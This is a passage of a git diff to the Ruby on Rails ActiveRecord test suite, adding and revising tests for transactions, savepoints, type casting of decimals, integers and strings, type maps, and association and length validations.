+        assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+
+        Topic.transaction(requires_new: true) do
+          assert_equal "active_record_2", Topic.connection.current_savepoint_name
+          assert_equal "active_record_2", Topic.connection.current_transaction.savepoint_name
+        end
+
+        assert_equal "active_record_1", Topic.connection.current_savepoint_name
+        assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+      end
+    end
+  end
+
   def test_rollback_when_commit_raises
     Topic.connection.expects(:begin_db_transaction)
     Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
@@ -391,24 +495,63 @@ class TransactionTest < ActiveRecord::TestCase
     topic = Topic.new(:title => 'test')
     topic.freeze
     e = assert_raise(RuntimeError) { topic.save }
-    assert_equal "can't modify frozen Hash", e.message
+    assert_match(/frozen/i, e.message) # Not good enough, but we can't do much
+                                       # about it since there is no specific error
+                                       # for frozen objects.
     assert !topic.persisted?, 'not persisted'
     assert_nil topic.id
     assert topic.frozen?, 'not frozen'
   end
 
+  def test_rollback_when_thread_killed
+    return if in_memory_db?
+
+    queue = Queue.new
+    thread = Thread.new do
+      Topic.transaction do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+
+        queue.push nil
+        sleep
+
+        @second.save
+      end
+    end
+
+    queue.pop
+    thread.kill
+    thread.join
+
+    assert @first.approved?, "First should still be changed in the objects"
+    assert !@second.approved?, "Second should still be changed in the objects"
+
+    assert !Topic.find(1).approved?, "First shouldn't have been approved"
+    assert Topic.find(2).approved?, "Second should still be approved"
+  end
+
   def test_restore_active_record_state_for_all_records_in_a_transaction
+    topic_without_callbacks = Class.new(ActiveRecord::Base) do
+      self.table_name = 'topics'
+    end
+
     topic_1 = Topic.new(:title => 'test_1')
     topic_2 = Topic.new(:title => 'test_2')
+    topic_3 = topic_without_callbacks.new(:title => 'test_3')
+
     Topic.transaction do
       assert topic_1.save
       assert topic_2.save
+      assert topic_3.save
       @first.save
       @second.destroy
       assert topic_1.persisted?, 'persisted'
       assert_not_nil topic_1.id
       assert topic_2.persisted?, 'persisted'
       assert_not_nil topic_2.id
+      assert topic_3.persisted?, 'persisted'
+      assert_not_nil topic_3.id
       assert @first.persisted?, 'persisted'
       assert_not_nil @first.id
       assert @second.destroyed?, 'destroyed'
@@ -419,11 +562,28 @@ class TransactionTest < ActiveRecord::TestCase
     assert_nil topic_1.id
     assert !topic_2.persisted?, 'not persisted'
     assert_nil topic_2.id
+    assert !topic_3.persisted?, 'not persisted'
+    assert_nil topic_3.id
     assert @first.persisted?, 'persisted'
     assert_not_nil @first.id
     assert !@second.destroyed?, 'not destroyed'
   end
 
+  def test_restore_frozen_state_after_double_destroy
+    topic = Topic.create
+    reply = topic.replies.create
+
+    Topic.transaction do
+      topic.destroy # calls #destroy on reply (since dependent: destroy)
+      reply.destroy
+
+      raise ActiveRecord::Rollback
+    end
+
+    assert_not reply.frozen?
+    assert_not topic.frozen?
+  end
+
   def test_sqlite_add_column_in_transaction
     return true unless current_adapter?(:SQLite3Adapter)
 
@@ -453,17 +613,24 @@ class TransactionTest < ActiveRecord::TestCase
         raise ActiveRecord::Rollback
       end
     end
+  ensure
+    begin
+      Topic.connection.remove_column('topics', 'stuff')
+    rescue
+    ensure
+      Topic.reset_column_information
+    end
   end
 
   def test_transactions_state_from_rollback
     connection = Topic.connection
-    transaction = ActiveRecord::ConnectionAdapters::ClosedTransaction.new(connection).begin
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
 
     assert transaction.open?
     assert !transaction.state.rolledback?
     assert !transaction.state.committed?
 
-    transaction.perform_rollback
+    transaction.rollback
 
     assert transaction.state.rolledback?
     assert !transaction.state.committed?
@@ -471,18 +638,39 @@ class TransactionTest < ActiveRecord::TestCase
 
   def test_transactions_state_from_commit
     connection = Topic.connection
-    transaction = ActiveRecord::ConnectionAdapters::ClosedTransaction.new(connection).begin
+    transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
 
     assert transaction.open?
     assert !transaction.state.rolledback?
     assert !transaction.state.committed?
 
-    transaction.perform_commit
+    transaction.commit
 
     assert !transaction.state.rolledback?
     assert transaction.state.committed?
   end
 
+  def test_transaction_rollback_with_primarykeyless_tables
+    connection = ActiveRecord::Base.connection
+    connection.create_table(:transaction_without_primary_keys, force: true, id: false) do |t|
+       t.integer :thing_id
+    end
+
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'transaction_without_primary_keys'
+      after_commit { } # necessary to trigger the has_transactional_callbacks branch
+    end
+
+    assert_no_difference(-> { klass.count }) do
+      ActiveRecord::Base.transaction do
+        klass.create!
+        raise ActiveRecord::Rollback
+      end
+    end
+  ensure
+    connection.execute("DROP TABLE IF EXISTS transaction_without_primary_keys")
+  end
+
   private
 
   %w(validation save destroy).each do |filter|
@@ -490,7 +678,7 @@ class TransactionTest < ActiveRecord::TestCase
       meta = class << topic; self; end
       meta.send("define_method", "before_#{filter}_for_transaction") do
         Book.create
-        false
+        throw(:abort)
       end
     end
   end
@@ -539,23 +727,23 @@ if current_adapter?(:PostgreSQLAdapter)
   class ConcurrentTransactionTest < TransactionTest
     # This will cause transactions to overlap and fail unless they are performed on
     # separate database connections.
-    def test_transaction_per_thread
-      skip "in memory db can't share a db between threads" if in_memory_db?
-
-      threads = 3.times.map do
-        Thread.new do
-          Topic.transaction do
-            topic = Topic.find(1)
-            topic.approved = !topic.approved?
-            assert topic.save!
-            topic.approved = !topic.approved?
-            assert topic.save!
+    unless in_memory_db?
+      def test_transaction_per_thread
+        threads = 3.times.map do
+          Thread.new do
+            Topic.transaction do
+              topic = Topic.find(1)
+              topic.approved = !topic.approved?
+              assert topic.save!
+              topic.approved = !topic.approved?
+              assert topic.save!
+            end
+            Topic.connection.close
           end
-          Topic.connection.close
         end
-      end
 
-      threads.each { |t| t.join }
+        threads.each(&:join)
+      end
     end
 
     # Test for dirty reads among simultaneous transactions.
@@ -602,7 +790,7 @@ if current_adapter?(:PostgreSQLAdapter)
           Developer.connection.close
         end
 
-        threads.each { |t| t.join }
+        threads.each(&:join)
       end
 
       assert_equal original_salary, Developer.find(1).salary
diff --git a/activerecord/test/cases/type/decimal_test.rb b/activerecord/test/cases/type/decimal_test.rb
new file mode 100644
index 0000000000..34ed1d7b19
--- /dev/null
+++ b/activerecord/test/cases/type/decimal_test.rb
@@ -0,0 +1,51 @@
+require "cases/helper"
+
+module ActiveRecord
+  module Type
+    class DecimalTest < ActiveRecord::TestCase
+      def test_type_cast_decimal
+        type = Decimal.new
+        assert_equal BigDecimal.new("0"), type.type_cast_from_user(BigDecimal.new("0"))
+        assert_equal BigDecimal.new("123"), type.type_cast_from_user(123.0)
+        assert_equal BigDecimal.new("1"), type.type_cast_from_user(:"1")
+      end
+
+      def test_type_cast_decimal_from_float_with_large_precision
+        type = Decimal.new(precision: ::Float::DIG + 2)
+        assert_equal BigDecimal.new("123.0"), type.type_cast_from_user(123.0)
+      end
+
+      def test_type_cast_from_float_with_unspecified_precision
+        type = Decimal.new
+        assert_equal 22.68.to_d, type.type_cast_from_user(22.68)
+      end
+
+      def test_type_cast_decimal_from_rational_with_precision
+        type = Decimal.new(precision: 2)
+        assert_equal BigDecimal("0.33"), type.type_cast_from_user(Rational(1, 3))
+      end
+
+      def test_type_cast_decimal_from_rational_without_precision_defaults_to_18_36
+        type = Decimal.new
+        assert_equal BigDecimal("0.333333333333333333E0"), type.type_cast_from_user(Rational(1, 3))
+      end
+
+      def test_type_cast_decimal_from_object_responding_to_d
+        value = Object.new
+        def value.to_d
+          BigDecimal.new("1")
+        end
+        type = Decimal.new
+        assert_equal BigDecimal("1"), type.type_cast_from_user(value)
+      end
+
+      def test_changed?
+        type = Decimal.new
+
+        assert type.changed?(5.0, 5.0, '5.0wibble')
+        assert_not type.changed?(5.0, 5.0, '5.0')
+        assert_not type.changed?(-5.0, -5.0, '-5.0')
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/integer_test.rb b/activerecord/test/cases/type/integer_test.rb
new file mode 100644
index 0000000000..1e836f2142
--- /dev/null
+++ b/activerecord/test/cases/type/integer_test.rb
@@ -0,0 +1,127 @@
+require "cases/helper"
+require "models/company"
+
+module ActiveRecord
+  module Type
+    class IntegerTest < ActiveRecord::TestCase
+      test "simple values" do
+        type = Type::Integer.new
+        assert_equal 1, type.type_cast_from_user(1)
+        assert_equal 1, type.type_cast_from_user('1')
+        assert_equal 1, type.type_cast_from_user('1ignore')
+        assert_equal 0, type.type_cast_from_user('bad1')
+        assert_equal 0, type.type_cast_from_user('bad')
+        assert_equal 1, type.type_cast_from_user(1.7)
+        assert_equal 0, type.type_cast_from_user(false)
+        assert_equal 1, type.type_cast_from_user(true)
+        assert_nil type.type_cast_from_user(nil)
+      end
+
+      test "random objects cast to nil" do
+        type = Type::Integer.new
+        assert_nil type.type_cast_from_user([1,2])
+        assert_nil type.type_cast_from_user({1 => 2})
+        assert_nil type.type_cast_from_user((1..2))
+      end
+
+      test "casting ActiveRecord models" do
+        type = Type::Integer.new
+        firm = Firm.create(:name => 'Apple')
+        assert_nil type.type_cast_from_user(firm)
+      end
+
+      test "casting objects without to_i" do
+        type = Type::Integer.new
+        assert_nil type.type_cast_from_user(::Object.new)
+      end
+
+      test "casting nan and infinity" do
+        type = Type::Integer.new
+        assert_nil type.type_cast_from_user(::Float::NAN)
+        assert_nil type.type_cast_from_user(1.0/0.0)
+      end
+
+      test "casting booleans for database" do
+        type = Type::Integer.new
+        assert_equal 1, type.type_cast_for_database(true)
+        assert_equal 0, type.type_cast_for_database(false)
+      end
+
+      test "changed?" do
+        type = Type::Integer.new
+
+        assert type.changed?(5, 5, '5wibble')
+        assert_not type.changed?(5, 5, '5')
+        assert_not type.changed?(5, 5, '5.0')
+        assert_not type.changed?(-5, -5, '-5')
+        assert_not type.changed?(-5, -5, '-5.0')
+        assert_not type.changed?(nil, nil, nil)
+      end
+
+      test "values below int min value are out of range" do
+        assert_raises(::RangeError) do
+          Integer.new.type_cast_for_database(-2147483649)
+        end
+      end
+
+      test "values above int max value are out of range" do
+        assert_raises(::RangeError) do
+          Integer.new.type_cast_for_database(2147483648)
+        end
+      end
+
+      test "very small numbers are out of range" do
+        assert_raises(::RangeError) do
+          Integer.new.type_cast_for_database(-9999999999999999999999999999999)
+        end
+      end
+
+      test "very large numbers are out of range" do
+        assert_raises(::RangeError) do
+          Integer.new.type_cast_for_database(9999999999999999999999999999999)
+        end
+      end
+
+      test "normal numbers are in range" do
+        type = Integer.new
+        assert_equal(0, type.type_cast_for_database(0))
+        assert_equal(-1, type.type_cast_for_database(-1))
+        assert_equal(1, type.type_cast_for_database(1))
+      end
+
+      test "int max value is in range" do
+        assert_equal(2147483647, Integer.new.type_cast_for_database(2147483647))
+      end
+
+      test "int min value is in range" do
+        assert_equal(-2147483648, Integer.new.type_cast_for_database(-2147483648))
+      end
+
+      test "columns with a larger limit have larger ranges" do
+        type = Integer.new(limit: 8)
+
+        assert_equal(9223372036854775807, type.type_cast_for_database(9223372036854775807))
+        assert_equal(-9223372036854775808, type.type_cast_for_database(-9223372036854775808))
+        assert_raises(::RangeError) do
+          type.type_cast_for_database(-9999999999999999999999999999999)
+        end
+        assert_raises(::RangeError) do
+          type.type_cast_for_database(9999999999999999999999999999999)
+        end
+      end
+
+      test "values which are out of range can be re-assigned" do
+        klass = Class.new(ActiveRecord::Base) do
+          self.table_name = 'posts'
+          attribute :foo, :integer
+        end
+        model = klass.new
+
+        model.foo = 2147483648
+        model.foo = 1
+
+        assert_equal 1, model.foo
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/string_test.rb b/activerecord/test/cases/type/string_test.rb
new file mode 100644
index 0000000000..4d78f287f1
--- /dev/null
+++ b/activerecord/test/cases/type/string_test.rb
@@ -0,0 +1,36 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class StringTypeTest < ActiveRecord::TestCase
+    test "type casting" do
+      type = Type::String.new
+      assert_equal "t", type.type_cast_from_user(true)
+      assert_equal "f", type.type_cast_from_user(false)
+      assert_equal "123", type.type_cast_from_user(123)
+    end
+
+    test "values are duped coming out" do
+      s = "foo"
+      type = Type::String.new
+      assert_not_same s, type.type_cast_from_user(s)
+      assert_not_same s, type.type_cast_from_database(s)
+    end
+
+    test "string mutations are detected" do
+      klass = Class.new(Base)
+      klass.table_name = 'authors'
+
+      author = klass.create!(name: 'Sean')
+      assert_not author.changed?
+
+      author.name << ' Griffin'
+      assert author.name_changed?
+
+      author.save!
+      author.reload
+
+      assert_equal 'Sean Griffin', author.name
+      assert_not author.changed?
+    end
+  end
+end
diff --git a/activerecord/test/cases/type/type_map_test.rb b/activerecord/test/cases/type/type_map_test.rb
new file mode 100644
index 0000000000..172c6dfc4c
--- /dev/null
+++ b/activerecord/test/cases/type/type_map_test.rb
@@ -0,0 +1,177 @@
+require "cases/helper"
+
+module ActiveRecord
+  module Type
+    class TypeMapTest < ActiveRecord::TestCase
+      def test_default_type
+        mapping = TypeMap.new
+
+        assert_kind_of Value, mapping.lookup(:undefined)
+      end
+
+      def test_registering_types
+        boolean = Boolean.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/boolean/i, boolean)
+
+        assert_equal mapping.lookup('boolean'), boolean
+      end
+
+      def test_overriding_registered_types
+        time = Time.new
+        timestamp = DateTime.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/time/i, time)
+        mapping.register_type(/time/i, timestamp)
+
+        assert_equal mapping.lookup('time'), timestamp
+      end
+
+      def test_fuzzy_lookup
+        string = String.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/varchar/i, string)
+
+        assert_equal mapping.lookup('varchar(20)'), string
+      end
+
+      def test_aliasing_types
+        string = String.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/string/i, string)
+        mapping.alias_type(/varchar/i, 'string')
+
+        assert_equal mapping.lookup('varchar'), string
+      end
+
+      def test_changing_type_changes_aliases
+        time = Time.new
+        timestamp = DateTime.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/timestamp/i, time)
+        mapping.alias_type(/datetime/i, 'timestamp')
+        mapping.register_type(/timestamp/i, timestamp)
+
+        assert_equal mapping.lookup('datetime'), timestamp
+      end
+
+      def test_aliases_keep_metadata
+        mapping = TypeMap.new
+
+        mapping.register_type(/decimal/i) { |sql_type| sql_type }
+        mapping.alias_type(/number/i, 'decimal')
+
+        assert_equal mapping.lookup('number(20)'), 'decimal(20)'
+        assert_equal mapping.lookup('number'), 'decimal'
+      end
+
+      def test_register_proc
+        string = String.new
+        binary = Binary.new
+        mapping = TypeMap.new
+
+        mapping.register_type(/varchar/i) do |type|
+          if type.include?('(')
+            string
+          else
+            binary
+          end
+        end
+
+        assert_equal mapping.lookup('varchar(20)'), string
+        assert_equal mapping.lookup('varchar'), binary
+      end
+
+      def test_additional_lookup_args
+        mapping = TypeMap.new
+
+        mapping.register_type(/varchar/i) do |type, limit|
+          if limit > 255
+            'text'
+          else
+            'string'
+          end
+        end
+        mapping.alias_type(/string/i, 'varchar')
+
+        assert_equal mapping.lookup('varchar', 200), 'string'
+        assert_equal mapping.lookup('varchar', 400), 'text'
+        assert_equal mapping.lookup('string', 400), 'text'
+      end
+
+      def test_requires_value_or_block
+        mapping = TypeMap.new
+
+        assert_raises(ArgumentError) do
+          mapping.register_type(/only key/i)
+        end
+      end
+
+      def test_lookup_non_strings
+        mapping = HashLookupTypeMap.new
+
+        mapping.register_type(1, 'string')
+        mapping.register_type(2, 'int')
+        mapping.alias_type(3, 1)
+
+        assert_equal mapping.lookup(1), 'string'
+        assert_equal mapping.lookup(2), 'int'
+        assert_equal mapping.lookup(3), 'string'
+        assert_kind_of Type::Value, mapping.lookup(4)
+      end
+
+      def test_fetch
+        mapping = TypeMap.new
+        mapping.register_type(1, "string")
+
+        assert_equal "string", mapping.fetch(1) { "int" }
+        assert_equal "int", mapping.fetch(2) { "int" }
+      end
+
+      def test_fetch_yields_args
+        mapping = TypeMap.new
+
+        assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
+        assert_equal "bar-1-2-3", mapping.fetch("bar", 1, 2, 3) { |*args| args.join("-") }
+      end
+
+      def test_fetch_memoizes
+        mapping = TypeMap.new
+
+        looked_up = false
+        mapping.register_type(1) do
+          fail if looked_up
+          looked_up = true
+          "string"
+        end
+
+        assert_equal "string", mapping.fetch(1)
+        assert_equal "string", mapping.fetch(1)
+      end
+
+      def test_fetch_memoizes_on_args
+        mapping = TypeMap.new
+        mapping.register_type("foo") { |*args| args.join("-") }
+
+        assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
+        assert_equal "foo-2-3-4", mapping.fetch("foo", 2, 3, 4) { |*args| args.join("-") }
+      end
+
+      def test_register_clears_cache
+        mapping = TypeMap.new
+
+        mapping.register_type(1, "string")
+        mapping.lookup(1)
+        mapping.register_type(1, "int")
+
+        assert_equal "int", mapping.lookup(1)
+      end
+    end
+  end
+end
+
diff --git a/activerecord/test/cases/type/unsigned_integer_test.rb b/activerecord/test/cases/type/unsigned_integer_test.rb
new file mode 100644
index 0000000000..4b8e2fb518
--- /dev/null
+++ b/activerecord/test/cases/type/unsigned_integer_test.rb
@@ -0,0 +1,17 @@
+require "cases/helper"
+
+module ActiveRecord
+  module Type
+    class UnsignedIntegerTest < ActiveRecord::TestCase
+      test "unsigned int max value is in range" do
+        assert_equal(4294967295, UnsignedInteger.new.type_cast_for_database(4294967295))
+      end
+
+      test "minus value is out of range" do
+        assert_raises(::RangeError) do
+          UnsignedInteger.new.type_cast_for_database(-1)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/types_test.rb b/activerecord/test/cases/types_test.rb
new file mode 100644
index 0000000000..34b6f2e8a5
--- /dev/null
+++ b/activerecord/test/cases/types_test.rb
@@ -0,0 +1,129 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class TypesTest < ActiveRecord::TestCase
+      def test_type_cast_boolean
+        type = Type::Boolean.new
+        assert type.type_cast_from_user('').nil?
+        assert type.type_cast_from_user(nil).nil?
+
+        assert type.type_cast_from_user(true)
+        assert type.type_cast_from_user(1)
+        assert type.type_cast_from_user('1')
+        assert type.type_cast_from_user('t')
+        assert type.type_cast_from_user('T')
+        assert type.type_cast_from_user('true')
+        assert type.type_cast_from_user('TRUE')
+        assert type.type_cast_from_user('on')
+        assert type.type_cast_from_user('ON')
+        assert type.type_cast_from_user(' ')
+        assert type.type_cast_from_user("\u3000\r\n")
+        assert type.type_cast_from_user("\u0000")
+        assert type.type_cast_from_user('SOMETHING RANDOM')
+
+        # explicitly check for false vs nil
+        assert_equal false, type.type_cast_from_user(false)
+        assert_equal false, type.type_cast_from_user(0)
+        assert_equal false, type.type_cast_from_user('0')
+        assert_equal false, type.type_cast_from_user('f')
+        assert_equal false, type.type_cast_from_user('F')
+        assert_equal false, type.type_cast_from_user('false')
+        assert_equal false, type.type_cast_from_user('FALSE')
+        assert_equal false, type.type_cast_from_user('off')
+        assert_equal false, type.type_cast_from_user('OFF')
+      end
+
+      def test_type_cast_float
+        type = Type::Float.new
+        assert_equal 1.0, type.type_cast_from_user("1")
+      end
+
+      def test_changing_float
+        type = Type::Float.new
+
+        assert type.changed?(5.0, 5.0, '5wibble')
+        assert_not type.changed?(5.0, 5.0, '5')
+        assert_not type.changed?(5.0, 5.0, '5.0')
+        assert_not type.changed?(nil, nil, nil)
+      end
+
+      def test_type_cast_binary
+        type = Type::Binary.new
+        assert_equal nil, type.type_cast_from_user(nil)
+        assert_equal "1", type.type_cast_from_user("1")
+        assert_equal 1, type.type_cast_from_user(1)
+      end
+
+      def test_type_cast_time
+        type = Type::Time.new
+        assert_equal nil, type.type_cast_from_user(nil)
+        assert_equal nil, type.type_cast_from_user('')
+        assert_equal nil, type.type_cast_from_user('ABC')
+
+        time_string = Time.now.utc.strftime("%T")
+        assert_equal time_string, type.type_cast_from_user(time_string).strftime("%T")
+      end
+
+      def test_type_cast_datetime_and_timestamp
+        type = Type::DateTime.new
+        assert_equal nil, type.type_cast_from_user(nil)
+        assert_equal nil, type.type_cast_from_user('')
+        assert_equal nil, type.type_cast_from_user('  ')
+        assert_equal nil, type.type_cast_from_user('ABC')
+
+        datetime_string = Time.now.utc.strftime("%FT%T")
+        assert_equal datetime_string, type.type_cast_from_user(datetime_string).strftime("%FT%T")
+      end
+
+      def test_type_cast_date
+        type = Type::Date.new
+        assert_equal nil, type.type_cast_from_user(nil)
+        assert_equal nil, type.type_cast_from_user('')
+        assert_equal nil, type.type_cast_from_user(' ')
+        assert_equal nil, type.type_cast_from_user('ABC')
+
+        date_string = Time.now.utc.strftime("%F")
+        assert_equal date_string, type.type_cast_from_user(date_string).strftime("%F")
+      end
+
+      def test_type_cast_duration_to_integer
+        type = Type::Integer.new
+        assert_equal 1800, type.type_cast_from_user(30.minutes)
+        assert_equal 7200, type.type_cast_from_user(2.hours)
+      end
+
+      def test_string_to_time_with_timezone
+        [:utc, :local].each do |zone|
+          with_timezone_config default: zone do
+            type = Type::DateTime.new
+            assert_equal Time.utc(2013, 9, 4, 0, 0, 0), type.type_cast_from_user("Wed, 04 Sep 2013 03:00:00 EAT")
+          end
+        end
+      end
+
+      def test_type_equality
+        assert_equal Type::Value.new, Type::Value.new
+        assert_not_equal Type::Value.new, Type::Integer.new
+        assert_not_equal Type::Value.new(precision: 1), Type::Value.new(precision: 2)
+      end
+
+      def test_attributes_which_are_invalid_for_database_can_still_be_reassigned
+        type_which_cannot_go_to_the_database = Type::Value.new
+        def type_which_cannot_go_to_the_database.type_cast_for_database(*)
+          raise
+        end
+        klass = Class.new(ActiveRecord::Base) do
+          self.table_name = 'posts'
+          attribute :foo, type_which_cannot_go_to_the_database
+        end
+        model = klass.new
+
+        model.foo = "foo"
+        model.foo = "bar"
+
+        assert_equal "bar", model.foo
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
index e82ca3f93d..afb893a52c 100644
--- a/activerecord/test/cases/unconnected_test.rb
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -11,7 +11,7 @@ class TestUnconnectedAdapter < ActiveRecord::TestCase
     @specification = ActiveRecord::Base.remove_connection
   end
 
-  def teardown
+  teardown do
     @underlying = nil
     ActiveRecord::Base.establish_connection(@specification)
     load_schema if in_memory_db?
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
index 602f633c45..bff5ffa65e 100644
--- a/activerecord/test/cases/validations/association_validation_test.rb
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -1,44 +1,14 @@
-# encoding: utf-8
 require "cases/helper"
 require 'models/topic'
 require 'models/reply'
-require 'models/owner'
-require 'models/pet'
 require 'models/man'
 require 'models/interest'
 
 class AssociationValidationTest < ActiveRecord::TestCase
-  fixtures :topics, :owners
+  fixtures :topics
 
   repair_validations(Topic, Reply)
 
-  def test_validates_size_of_association
-    repair_validations Owner do
-      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
-      o = Owner.new('name' => 'nopets')
-      assert !o.save
-      assert o.errors[:pets].any?
-      o.pets.build('name' => 'apet')
-      assert o.valid?
-    end
-  end
-
-  def test_validates_size_of_association_using_within
-    repair_validations Owner do
-      assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
-      o = Owner.new('name' => 'nopets')
-      assert !o.save
-      assert o.errors[:pets].any?
-
-      o.pets.build('name' => 'apet')
-      assert o.valid?
-
-      2.times { o.pets.build('name' => 'apet') }
-      assert !o.save
-      assert o.errors[:pets].any?
-    end
-  end
-
   def test_validates_associated_many
     Topic.validates_associated(:replies)
     Reply.validates_presence_of(:content)
@@ -80,7 +50,7 @@ class AssociationValidationTest < ActiveRecord::TestCase
     Topic.validates_presence_of :content
     r = Reply.create("title" => "A reply", "content" => "with content!")
     r.topic = Topic.create("title" => "uhohuhoh")
-    assert !r.valid?
+    assert_not_operator r, :valid?
     assert_equal ["This string contains 'single' and \"double\" quotes"], r.errors[:topic]
   end
 
@@ -94,17 +64,6 @@ class AssociationValidationTest < ActiveRecord::TestCase
     assert r.valid?
   end
 
-  def test_validates_size_of_association_utf8
-    repair_validations Owner do
-      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
-      o = Owner.new('name' => 'あいうえおかきくけこ')
-      assert !o.save
-      assert o.errors[:pets].any?
-      o.pets.build('name' => 'あいうえおかきくけこ')
-      assert o.valid?
-    end
-  end
-
   def test_validates_presence_of_belongs_to_association__parent_is_new_record
     repair_validations(Interest) do
       # Note that Interest and Man have the :inverse_of option set
@@ -123,5 +82,4 @@ class AssociationValidationTest < ActiveRecord::TestCase
       assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
     end
   end
-
 end
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
index 32d2bf746f..13d4d85afa 100644
--- a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -3,7 +3,7 @@ require 'models/topic'
 
 class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
   def setup
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
     @topic = Topic.new
     I18n.backend = I18n::Backend::Simple.new
   end
@@ -55,22 +55,30 @@ class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
   end
 
   test "translation for 'taken' can be overridden" do
-    I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 
   test "translation for 'taken' can be overridden in activerecord scope" do
-    I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 
   test "translation for 'taken' can be overridden in activerecord model scope" do
-    I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 
   test "translation for 'taken' can be overridden in activerecord attributes scope" do
-    I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 end
diff --git a/activerecord/test/cases/validations/i18n_validation_test.rb b/activerecord/test/cases/validations/i18n_validation_test.rb
index efa0c9b934..268d7914b5 100644
--- a/activerecord/test/cases/validations/i18n_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_validation_test.rb
@@ -6,6 +6,7 @@ class I18nValidationTest < ActiveRecord::TestCase
   repair_validations(Topic, Reply)
 
   def setup
+    repair_validations(Topic, Reply)
     Reply.validates_presence_of(:title)
     @topic = Topic.new
     @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
@@ -14,7 +15,7 @@ class I18nValidationTest < ActiveRecord::TestCase
     I18n.backend.store_translations('en', :errors => {:messages => {:custom => nil}})
   end
 
-  def teardown
+  teardown do
     I18n.load_path.replace @old_load_path
     I18n.backend = @old_backend
   end
diff --git a/activerecord/test/cases/validations/length_validation_test.rb b/activerecord/test/cases/validations/length_validation_test.rb
new file mode 100644
index 0000000000..952e1681a7
--- /dev/null
+++ b/activerecord/test/cases/validations/length_validation_test.rb
@@ -0,0 +1,77 @@
+require "cases/helper"
+require 'models/owner'
+require 'models/pet'
+require 'models/person'
+
+class LengthValidationTest < ActiveRecord::TestCase
+  fixtures :owners
+  repair_validations(Owner)
+
+  def test_validates_size_of_association
+    repair_validations Owner do
+      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+      o = Owner.new('name' => 'nopets')
+      assert !o.save
+      assert o.errors[:pets].any?
+      o.pets.build('name' => 'apet')
+      assert o.valid?
+    end
+  end
+
+  def test_validates_size_of_association_using_within
+    repair_validations Owner do
+      assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
+      o = Owner.new('name' => 'nopets')
+      assert !o.save
+      assert o.errors[:pets].any?
+
+      o.pets.build('name' => 'apet')
+      assert o.valid?
+
+      2.times { o.pets.build('name' => 'apet') }
+      assert !o.save
+      assert o.errors[:pets].any?
+    end
+  end
+
+  def test_validates_size_of_association_utf8
+    repair_validations Owner do
+      Owner.validates_size_of :pets, :minimum => 1
+      o = Owner.new('name' => 'あいうえおかきくけこ')
+      assert !o.save
+      assert o.errors[:pets].any?
+      o.pets.build('name' => 'あいうえおかきくけこ')
+      assert o.valid?
+    end
+  end
+
+  def test_validates_size_of_respects_records_marked_for_destruction
+    Owner.validates_size_of :pets, minimum: 1
+    owner = Owner.new
